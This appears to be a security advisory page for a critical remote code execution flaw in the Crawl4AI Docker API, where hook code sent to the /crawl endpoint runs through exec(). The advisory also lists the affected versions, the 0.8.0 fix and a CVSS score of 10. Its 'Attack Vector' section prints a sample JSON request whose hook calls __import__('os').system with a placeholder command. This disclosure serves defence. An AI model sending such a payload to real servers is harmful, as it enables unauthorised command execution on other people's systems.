Advisory Database
  • Advisories
  • Dependency Scanning
  1. pypi
  2. ›
  3. Crawl4AI
  4. ›
  5. GHSA-5882-5rx9-xgxp

GHSA-5882-5rx9-xgxp: Crawl4AI is Vulnerable to Remote Code Execution in Docker API via Hooks Parameter

January 16, 2026

A critical remote code execution vulnerability exists in the Crawl4AI Docker API deployment. The /crawl endpoint accepts a hooks parameter containing Python code that is executed using exec(). The __import__ builtin was included in the allowed builtins, allowing attackers to import arbitrary modules and execute system commands.

Attack Vector:

POST /crawl
{
"urls": ["https://example.com"],
"hooks": {
"code": {
"on_page_context_created": "async def hook(page, context, **kwargs):\n    __import__('os').system('malicious_command')\n    return page"
}
}
}

References

  • github.com/advisories/GHSA-5882-5rx9-xgxp
  • github.com/unclecode/crawl4ai
  • github.com/unclecode/crawl4ai/blob/release/v0.8.0/docs/blog/release-v0.8.0.md
  • github.com/unclecode/crawl4ai/blob/release/v0.8.0/docs/migration/v0.8.0-upgrade-guide.md
  • github.com/unclecode/crawl4ai/security/advisories/GHSA-5882-5rx9-xgxp

Code Behaviors & Features

Detect and mitigate GHSA-5882-5rx9-xgxp with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions before 0.8.0

Fixed versions

  • 0.8.0

Solution

Upgrade to version 0.8.0 or above.

Impact 10 CRITICAL

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Learn more about CVSS

Weakness

  • CWE-94: Improper Control of Generation of Code ('Code Injection')

Source file

pypi/Crawl4AI/GHSA-5882-5rx9-xgxp.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Wed, 04 Feb 2026 00:35:16 +0000.